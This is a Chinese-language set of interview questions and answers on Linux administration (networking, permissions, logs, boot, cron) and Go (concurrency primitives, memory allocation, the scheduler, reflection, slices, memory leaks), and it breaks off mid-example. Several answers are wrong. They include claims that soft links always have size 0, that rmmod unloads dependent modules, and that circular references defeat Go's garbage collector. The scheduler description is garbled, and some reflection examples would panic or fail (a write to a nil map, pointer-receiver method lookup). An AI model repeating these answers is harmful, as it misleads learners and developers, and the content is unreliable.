+**9.在 Linux 中,可以使用以下方法配置网络连接** +```shell +sudo ifconfig eth0 192.168.0.2 netmask 255.255.255.0 up +sudo route add default gw 192.168.0.1 eth0 +``` + +**10.Linux查看网络连接状态?** +```shell +ifconfig +``` + + +**11.Linux 中的权限管理是什么?如何设置文件和目录的权限?如何查看文件和目录的权限?** + + +> 主要分为三类权限:所有者权限,组权限,和其他用户权限。每个权限类别包括读、写和执行三种权限.(r)、写(w)、执行(x)和无权限(-) +> 100-读权限 +> 010-写权限 +> 001-执行权限 + + +**12.在Linux中,什么是软链接和硬链接,它们之间的区别是什么?** + +- 软链接是一个指向文件或目录的路径,而硬链接是一个指向文件内容的节点。 +- 软链接可以跨越文件系统,而硬链接只能在同一个文件系统内创建 +- 删除一个原文件会影响所有的软链接,但不会影响硬链接。 +- 软链接可以指向目录,而硬链接不能。 +- 软链接的文件大小始终为 0,而硬链接的文件大小与原文件相同。 +- 软链接可以创建在不存在的文件或目录上,而硬链接必须创建在已经存在的文件上。 + + +**13.Linux 中的系统日志是什么?如何查看系统日志?如何设置系统日志的级别和输出方式?** + +在Linux中,系统日志是记录操作系统、系统服务和应用程序操作的文件,这些文件可以帮助我们监视系统的行为和调试问题。通常,这些日志文件位于`/var/log`目录下。我们可以使用`cat`、`more`或`less`命令来查看这些日志。`tail -f /var/log/syslog`命令可以用来实时查看日志。 + +日志的级别和输出方式通常是由系统日志服务(如rsyslog或syslog-ng)配置的,相关的配置文件通常位于`/etc/rsyslog.conf`或`/etc/syslog-ng/syslog-ng.conf`。 + +**14.Linux 中的系统安全是什么?常用的安全措施有哪些?如何保护系统安全?** + +Linux系统安全包括防止未经授权的访问、保护系统资源和数据、确保系统服务的正常运行等。常用的安全措施包括:使用强密码、定期更新系统和应用程序、限制root用户的直接访问、使用防火墙和SELinux/AppArmor等访问控制系统、使用SSH公钥认证而不是密码登录、定期审计系统日志等。此外,还可以使用专门的安全工具,如fail2ban、rkhunter等,来增强系统的安全。 + +**15.Linux 中的高级应用有哪些?例如,如何配置 Web 服务器、数据库服务器、容器等应用程序?** + +Linux可以用于各种高级应用,如Web服务器、数据库服务器、邮件服务器、DNS服务器、容器等。例如,我们可以使用Apache或Nginx来设置Web服务器,使用MySQL或PostgreSQL来设置数据库服务器,使用Docker来运行和管理容器。这些应用的配置方法各不相同,通常涉及到安装软件、编辑配置文件、启动和管理服务等步骤。例如,配置Nginx的Web服务器,我们需要安装Nginx,编辑`/etc/nginx/nginx.conf`文件,然后使用`systemctl start nginx`来启动服务。 + + +**16.请解释在Linux中I/O重定向和管道的概念及其作用。** +答案:在Linux中,每个进程都有三个默认的文件描述符:标准输入(0),标准输出(1)和标准错误(2)。I/O重定向是改变这些默认操作的过程。例如,`command > file`将标准输出重定向到一个文件中,`command 2> file`将标准错误重定向到一个文件中,`command < file`将文件作为标准输入。管道(|)则是将一个命令的标准输出作为另一个命令的标准输入,例如,`command1 | command2`。 + +**17.在Linux中,如何设置和修改文件和目录的权限?** +答案:在Linux中,我们可以使用`chmod`命令来设置和修改文件和目录的权限。例如,`chmod 755 file`将设置文件的权限为-rwxr-xr-x。权限代码755表示所有者有读、写和执行权限(7),而组用户和其他用户只有读和执行权限(5)。 + +**18.什么是Linux内核?它的主要功能是什么?** +答案:Linux内核是Linux操作系统的核心部分,它负责管理系统的硬件资源,提供程序运行环境。它的主要功能包括进程管理、内存管理、设备管理、文件系统管理、网络管理等。 + +**19-请解释Linux中的Shell脚本,以及它的作用**。 +答案:Shell脚本是一种用于自动执行命令的脚本语言,它由一系列按特定顺序执行的命令组成。Shell脚本可以用于自动化日常任务,如备份文件、监视系统、批处理等。 + +**20-在Linux中,如何管理和使用软件包?** +答案:在Linux中,软件包的管理通常通过包管理器进行。例如,在Debian和Ubuntu系统中,我们可以使用`apt`或`apt-get`,在Red Hat和CentOS系统中,我们可以使用`yum`或`dnf`。包管理器可以用来安装、升级、卸载软件包,查询软件包信息等。 + +**21-在Linux中,如何创建和管理用户和用户组?以及如何给文件添加用户组?** + + +在 Linux 中,您可以使用 `chgrp` 命令来更改文件的所属用户组。以下是基本的命令格式: + +```bash +sudo chgrp groupName fileName +``` + +在这个命令中: + +- `chgrp` 是用来改变文件所属组的命令。 +- `groupName` 是您想要文件属于的用户组名。 +- `fileName` 是您想要更改所属用户组的文件名。 + +这个命令将文件 `fileName` 的所属用户组更改为 `groupName`。 + +答案:在Linux中,我们可以使用`useradd`,`usermod`和`userdel`命令来创建、修改和删除用户。使用`passwd`命令来设置和修改用户的密码。使用`groupadd`,`groupmod`和`groupdel`命令来创建、修改和删除用户 + + +**22-在 Linux 中,如何实现远程登录和文件传输?常用的工具有哪些?** +``` +ssh username@remote_host +``` +``` +scp source_file user@remote_host:destination_folder +``` + +**23-问题1:请解释下Linux中的Load Average是什么意思?它代表了什么?** + +答案:在Linux中,Load Average是衡量系统在一段时间内负载情况的指标,它表示系统处于可运行状态和不可中断状态的平均进程数。一般来说,Load Average包含了过去1分钟、5分钟和15分钟的平均值。如果Load Average持续高于CPU的核数,那么可能说明系统负载过重。 + + +**24-请解释下什么是Linux内核模块,以及如何加载和卸载模块?** +答案:Linux内核模块是内核的一部分,但是它们是在系统运行时动态加载和卸载的。 + +在 Linux 中,内核模块(Kernel Module)是一种动态加载到内核中并可在运行时卸载的软件模块。内核模块允许在不重新启动系统的情况下添加或删除内核功能,从而提高系统的灵活性和可扩展性。 + +内核模块是一种编译好的二进制文件,通常具有 .ko 扩展名。内核模块可以用于添加新的设备驱动程序、文件系统、网络协议等功能,或者在内核中添加新的系统调用。 + +在 Linux 中,可以使用 insmod 命令加载内核模块,使用 rmmod 命令卸载内核模块。例如,使用以下命令加载名为 module.ko 的内核模块: + +``` +insmod module.ko +``` +``` +rmmod module.ko +``` +在加载内核模块时,内核会检查模块的依赖关系,并将依赖的模块自动加载到内核中。在卸载内核模块时,内核会自动卸载依赖的模块。 + + +**25-请解释Linux系统启动过程的各个阶段?** +答案:Linux 系统的启动过程可以分为以下几个主要阶段: + +**BIOS(基本输入输出系统)阶段:** 当开启电脑时,BIOS 是最先运行的软件。它会进行一些硬件检测并初始化配置,这个过程被称为 POST(Power-On Self Test)。完成 POST 之后,BIOS 会查找启动设备(例如硬盘,U盘,光盘等)并从中加载第一个扇区的引导程序。 + +**引导加载器(Bootloader)阶段:** 引导加载器负责加载 Linux 内核。例如,GRUB(GRand Unified Bootloader)就是一个常见的 Linux 引导加载器。它会将控制权交给 Linux 内核。 + +**内核初始化阶段:** 内核首先进行解压操作,然后它会初始化和配置系统硬件和驱动程序,包括**CPU**、**内存**、**设备**、文件系统等。 + +**Init 进程阶段:** 当内核初始化完毕后,它会启动第一个用户空间的进程 init。在这个阶段,init 进程会读取 /etc/inittab 配置文件,并根据其中的配置启动其他系统进程和服务,包括运行级别(runlevel)和启动脚本(startup script)等。 + +**运行级别(Runlevel)阶段**: 运行级别指的是系统运行的模式,它决定了系统启动时需要启动哪些服务和进程。Linux 系统中共有 7 种运行级别,其中 0 为关机,1 为单用户模式,2-5 为多用户模式,6 为重启。运行级别的配置文件位于 /etc/rc.d 目录中。 + +**系统服务启动阶段**: 在进入指定运行级别后,系统会自动启动一些服务和进程,例如网络服务、系统日志服务、计划任务服务等。这些服务的启动顺序和配置文件位于 /etc/rc.d 目录中。 + +登录阶段: 最后一个阶段是用户登录阶段。当系统启动完毕后,会显示登录界面,用户需要输入用户名和密码才能登录系统。登录后,用户可以开始使用系统,并执行相应的任务。 + + +**26-请解释Linux中的SUID、SGID和Sticky Bit权限**。 +答案:在Linux中,SUID(Set User ID)、SGID(Set Group ID)和Sticky Bit是特殊的权限设置。SUID在文件被执行时改变进程的有效用户ID,SGID在文件被执行时改变进程的有效组ID。Sticky Bit主要用于目录,当一个目录设置了Sticky Bit,只有文件的所有者才能删除该目录下的文件。 + +**27-在Linux中,如何查看和杀掉进程?** +答案:在Linux中,我们可以使用`ps`命令来查看当前运行的进程,使用`top`或`htop`来查看实时的进程状态。我们可以使用`kill`命令来杀掉进程,例如`kill -9 pid`会向进程发送SIGKILL信号,结束该进程。 + +**28-什么是负载均衡?请举例说明在Linux中如何实现负载均衡**。 +答案:负载均衡是一种技术,通过分发网络或应用程序流量到多个服务器,旨在优化资源使用,最大化吞吐量,最小化响应时间。在Linux中,我们可以使用Nginx、HAProxy等软件来实现负载均衡。例如,Nginx可以通过配置反向代理和负载均衡策略来实现负载均衡。 + +**29-在Linux中,如何使用cron来定时执行任务?** +答案:在Linux中,我们可以使用cron服务来定时执行任务。可以通过`crontab -e`命令来编辑cron表,添加定时任务。cron表的每一行都代表一个任务,包含了执行时间和命令。例如,`30 1 * * * command`表示每天凌晨1:30执行command命令。 + +**30-在Linux中,如何设置网络配置?** +答案:在Linux中,我们可以使用`ifconfig`(或`ip`命令,在较新的发行版中)和`route`命令来设置网络配置,如设置IP地址,设置路由等。也可以直接编辑网络配置文件(如`/etc/network/interfaces`或`/etc/sysconfig/network-scripts/ifcfg-eth0`)来设置网络。在一些发行版中,也可以使用网络管理器(NetworkManager)来设置网络。 + + +### Go + +**问题1**:请解释Golang的并发模型,以及Goroutine和Channel的概念和作用。 + +答案:Golang的并发模型基于CSP(Communicating Sequential Processes)理论,主要包括Goroutine和Channel两个要素。Goroutine是Golang中的轻量级线程,Golang的运行时负责在操作系统线程和Goroutine之间进行调度。Channel是Golang中的通信机制,可以用来在Goroutine之间传递数据和同步操作。 + +**问题2**:在Golang中,如何处理错误? +答案:在Golang中,错误通常被作为函数的最后一个返回值进行返回。标准库中有一个`error`接口类型来表示错误状态。我们可以使用`errors.New`或`fmt.Errorf`来创建错误,通过`if err != nil`来检查错误。 + +**问题3**:请解释Golang中的切片(slice)和映射(map)的概念和用法。 +答案:切片是Golang中的动态数组,可以在运行时改变大小。我们可以使用`make`函数来创建。 + + +**问题4**:在 Go 中,如何实现并发和并行?有哪些常用的底层机制和原语? +Go 语言天生支持并发,可以使用 goroutine 和 channel 实现并发和并行。 +> Go 还提供了一些底层的机制和原语,可以更细粒度地控制并发和并行:sync 包:提供了一些基本的同步原语,如 mutex、rwmutex、cond 等,可以用于实现互斥锁、读写锁、条件变量等。 + + +sync.Mutex:互斥锁的示例用法: +```go +import "sync" + +var mutex sync.Mutex + +func main() { + // Lock the mutex + mutex.Lock() + + // Do some work + // ... + + // Unlock the mutex + mutex.Unlock() +} +``` +sync.RWMutex:读写锁的示例用法: +```go +import "sync" + +var rwmutex sync.RWMutex + +func main() { + // Lock the read lock + rwmutex.RLock() + + // Do some read work + // ... + + // Unlock the read lock + rwmutex.RUnlock() + + // Lock the write lock + rwmutex.Lock() + + // Do some write work + // ... + + // Unlock the write lock + rwmutex.Unlock() +} +``` + +sync.Cond:条件变量的示例用法: + +```go +import "sync" + +var cond sync.Cond +var count int + +func main() { + // Initialize the condition variable + cond = sync.Cond{L: &sync.Mutex{}} + + // Start some goroutines + for i := 0; i < 10; i++ { + go func() { + // Lock the mutex + cond.L.Lock() + + // Wait for the condition + for count < 5 { + cond.Wait() + } + + // Do some work + // ... + + // Unlock the mutex + cond.L.Unlock() + }() + } + + // Do some work + // ... + + // Signal the condition + cond.L.Lock() + count = 5 + cond.Broadcast() + cond.L.Unlock() +} +``` + +atomic 包:原子操作的示例用法: +``` go +import "sync/atomic" + +var count int32 + +func main() { + // Increment the counter atomically + atomic.AddInt32(&count, 1) + + // Load the value of the counter atomically + value := atomic.LoadInt32(&count) + + // Store a value to the counter atomically + atomic.StoreInt32(&count, 0) +} +``` + +select 语句:等待多个 channel 交换数据的示例用法: + +```go +ch1 := make(chan int) +ch2 := make(chan int) + +go func() { + ch1 <- 1 +}() + +go func() { + ch2 <- 2 +}() + +// Wait for data on either channel +select { +case x := <-ch1: + // Do something with x +case y := <-ch2: + // Do something with y +} +``` + +context 包:管理 goroutine 上下文的示例用法: +```go +import "context" + +func main() { + // Create a context with a timeout + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + // Start a goroutine with the context + go func(ctx context.Context) { + // Do some work + // ... + + // Check if the context is done + select { + case <-ctx.Done(): + // The context is done, terminate the goroutine + return + default: + // The context is not done, continue the work + } + + // Do some more work + // ... + }(ctx) + + // Do some work + // ... +} +``` +> atomic 包:提供了一些原子操作,如 atomic.AddInt32、atomic.LoadPointer、atomic.StoreUint64 等,可以用于实现原子操作。 + +> select 语句:用于在多个 channel 上等待数据并处理。select 语句会阻塞,直到有一个或多个 channel 可以进行数据交换。 + +> context 包:用于管理 goroutine 的上下文,包括取消、超时、截止时间等。 + + + +**问题5**:在 Go 中,如何实现内存管理和垃圾回收?有哪些常用的底层机制和原语? + +答案:在 Go 中,内存管理和垃圾回收是由 Go 运行时自动管理的。Go 运行时使用了一些底层机制和原语来实现内存管理和垃圾回收。 + +内存分配器:Go 运行时使用了一种基于 mcache、mcentral、mheap 的分配器(Memory Allocator),可以高效地分配和释放内存。在分配内存时,分配器会将内存按照大小分类并缓存,以便快速地分配内存。 + +垃圾回收器:Go 运行时使用了一种非常快速的并发垃圾回收器(Garbage Collector),可以自动回收不再使用的内存。垃圾回收器采用了三色标记法(Tri-Color Marking)的算法,可以在保证程序正常运行的同时,高效地回收内存。 + +finalizer:Go 运行时使用了 finalizer 机制来自动释放一些资源,如文件句柄、网络连接等。可以使用 runtime.SetFinalizer 函数来设置 finalizer,例如: +```go +f, err := os.Open("file.txt") +if err != nil { + // handle error +} +runtime.SetFinalizer(f, func(f *os.File) { + f.Close() +}) +``` + +unsafe 包:unsafe 包提供了一些不安全的底层操作,如指针操作、类型转换等。可以使用 unsafe 包来实现一 + +**问题6**: Go 的内存分配器工作原理: +Go 的内存分配器使用了三级缓存的设计,包括 mcache、mcentral 和 mheap 三个级别,以提高内存分配和回收的效率。 + +mcache 是每个 P(处理器)独有的缓存,用于缓存小对象的内存分配请求(<= 32KB),可以避免频繁地向 mcentral(全局缓存)和 mheap(堆)发起内存分配请求。 + +mcentral 是全局缓存,用于缓存中等大小的对象(> 32KB && <= 1MB)的内存分配请求,以避免频繁地向 mheap 发起内存分配请求。 + +mheap 是堆,用于分配大对象(> 1MB)的内存请求,以及处理 mcentral 和 mcache 处理不了的内存请求。 + + +**问题7**: unsafe 包的使用场景: +unsafe 包提供了一些底层的操作,如指针操作、类型转换等。由于这些操作不安全,会破坏 Go 的内存安全模型,因此需要非常谨慎地使用。一些使用场景包括: +实现高效的数据结构和算法,如链表、树等; +与 C 语言的代码进行交互,如调用 C 函数、使用 C 结构体等; +优化一些内存和时间敏感的代码,如解析二进制数据等。 +需要注意的是,在使用 unsafe 包时,需要仔细检查代码的安全性,避免出现内存安全问题。 + + + +**问题8**:请问Go的调度器是如何工作的? + +Go 的调度器是 Go 运行时的一部分,主要负责协程(goroutine)的调度和管理。Go 的调度器实现了 M:N 的协程模型,即将 M 个用户级线程(称为 M 线程)映射到 N 个操作系统线程(称为操作系统线程)上。 + +Go 的调度器采用了抢占式调度的方式,即一个协程执行的时间片到期后,调度器会立即切换到另一个协程执行,以保证所有协程都能得到公平的执行机会。调度器还支持异步系统调用(ASynchronous System Call,简称 ASC),可以在协程阻塞时,立即调度其他协程执行,以提高程序的并发性能。 + +下面是 Go 调度器的一些主要特点: + +G-M-P 模型:Go 的调度器采用了 G-M-P 模型,即将协程、操作系统线程和 M 线程分别管理。调度器会将协程调度到 M 线程上执行,当某个 M 线程阻塞时,调度器会将协程调度到其他 M 线程上执行。操作系统线程用来执行 M 线程,以提高并发性能。 + +抢占式调度:Go 的调度器采用了抢占式调度的方式,即一个协程执行的时间片到期后,调度器会立即切换到另一个协程执行,以保证所有协程都能得到公平的执行机会。 + +延迟调度:Go 的调度器采用了延迟调度的方式,即当一个协程阻塞时,调度器不会立即将其加入阻塞队列,而是将其加入 G 队列,等待下一次调度。 + +系统调用阻塞:当一个协程调用了系统调用,如网络 I/O 操作等,会阻塞当前 M 线程,但不会阻塞其他 M 线程上的协程执行。调度器会在其他 M 线程上调度其他协程执行,以提高程序的并发性能。 + +ASC:Go 的调度器支持异步系统调用(ASynchronous System Call,简称 ASC),可以在协程阻塞时,立即调度其他协程执行,以提高程序的并发性能。 + +时间片轮转调度:Go 的调度器采用时间片轮转调度的方式,即将每个协程分配一个固定的时间片(默认为 10 毫秒),当时间片用完后,调度器会将该协程挂起,并切换到下一个协程继续执行,以保证所有协程都能获得公平的执行机会。 + +G 队列和 P 队列:Go 的调度器维护了两个队列,即 G 队列和 P 队列。G 队列用于存储所有正在等待执行的协程,P 队列用于存储所有空闲的 M 线程。调度器会将 G 队列中的协程加入到 P 队列中,以尽可能地利用所有空闲的 M 线程,保证所有协程都能得到公平的执行机会 + + +**问题9**:请解释Go中的零值是什么? +答案:在Go语言中,当变量被声明但没有初始化时,编译器会自动赋予它们默认的零值。数值类型的零值是0,布尔类型的零值是false,字符串类型的零值是空字符串"",而指针、切片、映射、通道和函数的零值是nil。 + +**问题10**:在Go中,如何使用defer语句?它的工作原理是什么? +答案:在Go中,defer语句用于延迟一个函数或方法的执行,直到包含该defer语句的函数执行完毕。defer语句常用于处理成对的操作,如打开和关闭、连接和断开连接、加锁和释放锁。当执行到defer语句时,其后的函数会被推入一个栈中,而不是立即执行,当外层函数结束时,栈中的defer语句会按照后进先出(LIFO)的顺序执行。 + +**问题11**:在Go中,如何管理和使用第三方依赖? +答案:Go提供了模块(modules)来管理依赖。使用`go mod init`创建新的模块,`go get`添加依赖,依赖信息会在`go.mod`文件中记录。`go build`和`go test`会自动添加缺失的依赖。 + +**问题11**:Go中的"rune"类型是什么? +答案:在Go中,rune是一个基本的数据类型,它是int32的别名,通常用来表示一个Unicode码点。这允许Go语言使用和处理多字节的字符,如UTF-8编码的字符。 + +**问题12**:什么是Go中的嵌入类型?它的作用是什么? +答案:在Go中,一个结构体可以包含一个或多个匿名(或嵌入)字段,即这些字段没有显式的名称,只有类型。这通常用于实现面向对象的继承。在嵌入字段的结构体中,可以直接访问嵌入字段的方法,就像这些方法被声明在外部结构体中一样。 + +**问题13**:在Go中,如何使用反射(reflection)? +答案:在Go中,反射通过`reflect`包实现,它允许我们在运行时检查类型和变量,例如它的类型、是否有方法,以及实际的值等。反射使用`TypeOf`和`ValueOf`函数从接口中获取目标对象的类型和值。获取类型信息:使用 reflect.TypeOf 函数可以获取一个值的类型信息,如下所示: + +```go +import "reflect" + +var x int = 123 +t := reflect.TypeOf(x) +fmt.Println(t) // 输出 "int" +``` + +获取值信息:使用 reflect.ValueOf 函数可以获取一个值的值信息,如下所示: +```go +import "reflect" + +var x int = 123 +v := reflect.ValueOf(x) +fmt.Println(v) // 输出 "123" +``` + +获取字段值:使用 reflect.Value.FieldByName 函数可以获取一个结构体字段的值,如下所示: +```go +import "reflect" + +type Person struct { + Name string + Age int +} + +func main() { + p := Person{Name: "Bob", Age: 30} + v := reflect.ValueOf(p) + name := v.FieldByName("Name") + age := v.FieldByName("Age") + fmt.Println(name.String(), age.Int()) // 输出 "Bob 30" +} +``` + +调用方法:使用 reflect.Value.MethodByName 函数可以调用一个结构体的方法,如下所示: +```go +import "reflect" + +type Person struct { + Name string + Age int +} + +func (p Person) SayHello() { + fmt.Println("Hello, my name is", p.Name) +} + +func main() { + p := Person{Name: "Bob", Age: 30} + v := reflect.ValueOf(p) + m := v.MethodByName("SayHello") + m.Call(nil) // 输出 "Hello, my name is Bob" +} +``` + + +**问题14**:在实际的业务场景中反射来干什么? + +序列化和反序列化:假设有一个结构体类型 Person,包含姓名和年龄两个字段,我们需要将该结构体序列化为 JSON 格式并发送到网络上。可以使用反射获取 Person 类型的字段信息,然后将字段值转换为 JSON 格式,如下所示: + + +```go +import "encoding/json" +import "reflect" + +type Person struct { + Name string + Age int +} + +func main() { + p := Person{Name: "Bob", Age: 30} + v := reflect.ValueOf(p) + var data map[string]interface{} + for i := 0; i < v.NumField(); i++ { + field := v.Type().Field(i) + name := field.Name + value := v.Field(i).Interface() + data[name] = value + } + bytes, err := json.Marshal(data) + if err != nil { + panic(err) + } + // 发送 bytes 到网络上 +} +``` + + +动态调用方法:假设有一个结构体类型 Calculator,包含加减乘除四个方法,现在根据用户输入的命令动态调用不同的方法。可以使用反射获取 Calculator 类型的方法信息,然后根据用户输入的命令动态调用不同的方法,如下所示: +```go + +import "reflect" + +type Calculator struct {} + +func (c *Calculator) Add(a, b int) int { + return a + b +} + +func (c *Calculator) Sub(a, b int) int { + return a - b +} + +func (c *Calculator) Mul(a, b int) int { + return a * b +} + +func (c *Calculator) Div(a, b int) int { + return a / b +} + +func main() { + c := Calculator{} + v := reflect.ValueOf(&c).Elem() + methodName := "Add" // 假设用户输入的是 Add 命令 + method := v.MethodByName(methodName) + args := []reflect.Value{reflect.ValueOf(1), reflect.ValueOf(2)} + result := method.Call(args) + fmt.Println(result[0].Int()) // 输出 3 +} +``` + +依赖注入:假设有一个结构体类型 UserService,依赖于 UserRepository 和 Logger,我们需要动态地创建 UserService 对象,并注入依赖关系。可以使用反射动态创建 UserService 对象,并根据依赖关系自动注入 UserRepository 和 Logger 对象,如下所示: + + +```go +import "reflect" + +type Logger struct {} + +type UserRepository struct {} + +type UserService struct { + Repository *UserRepository + Logger *Logger +} + +func main() { + userRepository := &UserRepository{} + logger := &Logger{} + userServiceType := reflect.TypeOf(UserService{}) + userServiceValue := reflect.New(userServiceType) + userService := userServiceValue.Interface().(*UserService) + userService.Repository = userRepository + userService.Logger = logger + // 使用 userService 对象进行操作 +} +``` + +插件系统:假设有一个应用程序,需要支持插件化,即在运行时动态加载和卸载插件,插件提供了一些接口,需要在应用程序中调用这些接口。可以使用反射动态加载插件,并调用插件提供的接口,如下所示: +```go +import "plugin" +import "reflect" + +type Plugin interface { + Run() +} + +func main() { + p, err := plugin.Open("myplugin.so") + if err != nil { + panic(err) + } + symbol, err := p.Lookup("MyPlugin") + if err != nil { + panic(err) + } + pluginType := reflect.TypeOf((*Plugin)(nil)).Elem() + if !reflect.TypeOf(symbol).Implements(pluginType) { + panic("plugin does not implement Plugin interface") + } + pluginValue := reflect.ValueOf(symbol) + plugin := pluginValue.Interface().(Plugin) + plugin.Run() +} +``` + +配置文件解析:假设有一个配置文件,包含了一些键值对,我们需要将这些键值对解析为对应的类型。可以使用反射动态将字符串解析为对应的类型,如下所示: +```go +import ( + "bufio" + "os" + "reflect" + "strconv" + "strings" +) + +type Config struct { + Host string + Port int + Debug bool +} + +func main() { + file, err := os.Open("config.txt") + if err != nil { + panic(err) + } + defer file.Close() + scanner := bufio.NewScanner(file) + config := Config{} + for scanner.Scan() { + line := scanner.Text() + parts := strings.Split(line, "=") + if len(parts) != 2 { + continue + } + key := strings.TrimSpace(parts[0]) + value := strings.TrimSpace(parts[1]) + field := reflect.ValueOf(&config).Elem().FieldByName(key) + if !field.IsValid() { + continue + } + switch field.Kind() { + case reflect.String: + field.SetString(value) + case reflect.Int: + intValue, err := strconv.Atoi(value) + if err == nil { + field.SetInt(int64(intValue)) + } + case reflect.Bool: + boolValue, err := strconv.ParseBool(value) + if err == nil { + field.SetBool(boolValue) + } + } + } + // 使用 config 对象进行操作 +} +``` + + +**问题14**:Go底层Slice的扩容是如何实现的? + +Slice 扩容的具体实现是通过重新分配内存并将原有数据复制到新的内存块中来完成的。具体来说,当 Slice 的长度(len)超过容量(cap)时,Go 会将当前 Slice 的容量(cap)翻倍,并申请一个新的内存块,将原有数据复制到新的内存块中,并返回新的 Slice 对象。 + +在进行 Slice 扩容时,Go 会根据当前 Slice 的长度(len)和容量(cap)来确定新的容量(newcap)。具体来说,当当前 Slice 长度小于 1024 时,新的容量(newcap)将会是原有容量(cap)的两倍;当当前 Slice 长度大于等于 1024 时,新的容量(newcap)将会是原有容量(cap)的 1.25 倍。 + +当 Slice 的底层数组发生扩容时,原有的 Slice 对象仍然指向原有的底层数组,而新的 Slice 对象则指向新的底层数组。因此,在进行 Slice 扩容时,需要注意不要使用原有的 Slice 对象来修改原有的数据,以避免出现意料之外的结果。 + +除了 Slice 扩容,Go 也提供了一种手动控制 Slice 容量的方式,即使用内置函数 cap 来获取当前 Slice 的容量,并使用内置函数 make 来创建一个新的 Slice 对象,并指定其容量。例如,可以使用以下代码来创建一个容量为 10 的 Slice + + +**问题15**:Go底层Slice的扩容是如何实现的?在什么情况下,手动控制 Slice 容量会更加方便? + +降低内存分配的成本:在某些场景下,需要频繁地向 Slice 中添加元素,如果每次添加元素时都进行自动扩容,会导致频繁的内存分配,从而影响程序的性能。此时,可以使用手动控制 Slice 容量的方式,通过一次性分配足够的内存来降低内存分配的成本。 具体举个例子 + +假设有一个需要频繁添加元素的场景,例如读取一个大文件并将其中的单词存储到一个 Slice 中。如果每次读取一个单词时都进行自动扩容,会导致频繁的内存分配和复制操作,从而影响程序的性能。此时,可以使用手动控制 Slice 容量的方式,通过一次性分配足够的内存来降低内存分配的成本。 + +具体来说,可以先通过文件大小或其他方式预估需要存储的单词数量,并根据预估的数量分配足够的内存。例如,假设需要存储的单词数量为 10000,可以使用以下方式创建一个容量为 10000 的 Slice: + +```go +words := make([]string, 0, 10000) +``` +接着,每次读取一个单词时,可以将其添加到 Slice 的末尾,例如: +```go +word := readWordFromFile() +words = append(words, word) +``` + +由于事先分配了足够的内存,因此在添加元素时不需要进行自动扩容,可以避免频繁的内存分配和复制操作,从而提高程序的性能。 + + +**问题16:** Go的Slice底层和数组底层的区别是什么 + +Slice 和数组底层都是一段连续的内存块,它们之间的主要区别在于内存管理的方式和内存布局的不同。 + +具体来说,数组是一段静态分配的内存块,在定义时就会被预先分配好固定大小的空间,数组的大小是固定的,不能动态地增加或缩小。由于数组的内存大小是固定的,因此数组可以在编译时就被完全分配和初始化,具有很高的访问速度和可预测性。 + +而 Slice 则是一个动态分配的、可变长的数据结构,它的底层是一个指向连续内存块的指针,以及长度和容量两个属性。Slice 的长度可以动态地增加或缩小,而容量则是指底层数组从当前位置开始到数组末尾的容量。当 Slice 的长度超过容量时,底层数组会自动扩容并重新分配内存,以容纳更多的元素。 + +由于 Slice 的长度和容量是动态的,因此 Slice 可以动态地增加或缩小,具有更高的灵活性和可扩展性。同时,Slice 也可以更有效地利用内存,因为它可以在底层数组的一部分空间中存储数据,而不需要预先分配整个数组的空间。 + +总之,数组是一个静态分配的固定大小的数据结构,而 Slice 则是一个动态分配的可变长数据结构,它们之间的主要区别在于内存管理的方式和内存布局的不同。 + + + +**问题17:**Go 的指针和引用有什么区别?在什么情况下应该使用指针?如何在函数间传递指针? +答案:Go语言中的指针是一种特殊类型的值,它保存了其他变量的内存地址。Go不支持传统的引用类型,但通过指针可以实现类似的效果。通常在想要改变传递的变量的值或者传递大的数据结构时应该使用指针。在函数间传递指针,只需要将指针作为参数即可。 + +**问题18:**如何避免在程序中出现内存泄漏? +答案:Go语言的垃圾回收主要是基于标记-清除算法。在程序运行过程中,垃圾收集器会标记那些不再使用的变量,然后在适当的时候释放其内存。避免内存泄漏的一个关键原则是正确地管理资源,确保不再需要的内存被及时释放。这通常意味着需要注意如何使用指针,尤其是在涉及到闭包或者包级变量时。 + +**问题19:**Go 的内存分配器是如何工作的?如何调整内存分配器的参数以优化程序性能? +答案:Go的内存分配器用于管理Go程序的内存需求,它通过一种称为大小类(size classes)的机制,将不同大小的对象分配到不同的内存块中。Go运行时还提供了一些环境变量,如GOGC,来调整内存分配器的行为。 + + +**问题20:** + +指针未被正确释放 +```go +func main() { + for i := 0; i < 100000; i++ { + p := new(int) + } + // 这里没有对指针进行正确的释放 +} + +``` + +循环引用: +```go +type Node struct { + next *Node +} + +func main() { + a := &Node{} + b := &Node{next: a} + a.next = b + // 这里存在循环引用,导致部分内存无法被回收 +} +``` + +协程泄漏: +```go +func worker() { + for { + // do something + } +} + +func main() { + go worker() + // 这里没有正确地关闭协程 +} +``` + + +大量创建临时对象: +```go +func main() { + for i := 0; i < 100000; i++ { + s := fmt.Sprintf("temp string %d", i) + // 这里会创建大量的临时字符串,导致内存泄漏和性能问题 + } +} +``` +上述代码中,创建了一个协程 worker(),但是没有正确地关闭它,导致协程泄漏和内存泄漏。 + + +**问题21:** Go的内存泄漏 +在 Go 语言中,内存泄漏是一个相对较少见但仍然可能发生的问题。当对象不再需要但仍然被指针引用时,就会发生内存泄漏。这些对象不能被垃圾收集器回收,因此会持续占用内存。 + +> **长期存在的Goroutine泄漏**:如果一个 Goroutine 无法退出,比如在一个无限循环中,它持有的资源就无法被回收。 + +> **全局变量和长生命周期的对象**:如果对象的生命周期过长或者被设定为全局变量,可能导致这些对象一直被引用,从而无法被 GC 回收。 + +> **闭包(Closure)**:闭包可能会引用外部函数的变量,如果这些变量在闭包函数的生命周期内一直存在,就可能导致内存泄漏。 + +> **通道(Channel)的泄漏**:如果向一个永远不会再读取的通道发送数据,或者从一个永远不会再写入的通道接收数据,那么涉及的 Goroutine 将被无限期地阻塞. + + +让我先来解释一下这两种情况: + +**闭包**:在 Go 中,当创建了一个闭包(也就是一个捕获了某些变量的函数),那么它可以访问并操作其外部作用域的变量,即使是在外部函数已经返回之后。这样就可能导致原本应该被垃圾回收的数据被持久保持在内存中,导致内存泄露。 + + ```go + func foo() func() int { + x := 0 + return func() int { + x++ + return x + } + } + + func main() { + foo1 := foo() + _ = foo1() // 此时虽然 foo 函数已经返回,但因为闭包仍持有变量 x 的引用,x 不能被垃圾回收 + } + ``` +**通道的泄漏**:Go 的通道(channel)用于在不同 Goroutine 之间进行通信。如果向一个没有任何 Goroutine 在读取的通道发送数据,或者尝试**从一个没有任何 Goroutine 在写入的通道读取数据**,那么执行该操作的 Goroutine 将被阻塞。因为在 Go 中,发送和接收操作在默认情况下是阻塞的,这就意味着如果没有匹配的接收或发送操作,Goroutine 将一直阻塞在那里,造成内存泄露。 + + ```go + func main() { + ch := make(chan int) + go func() { 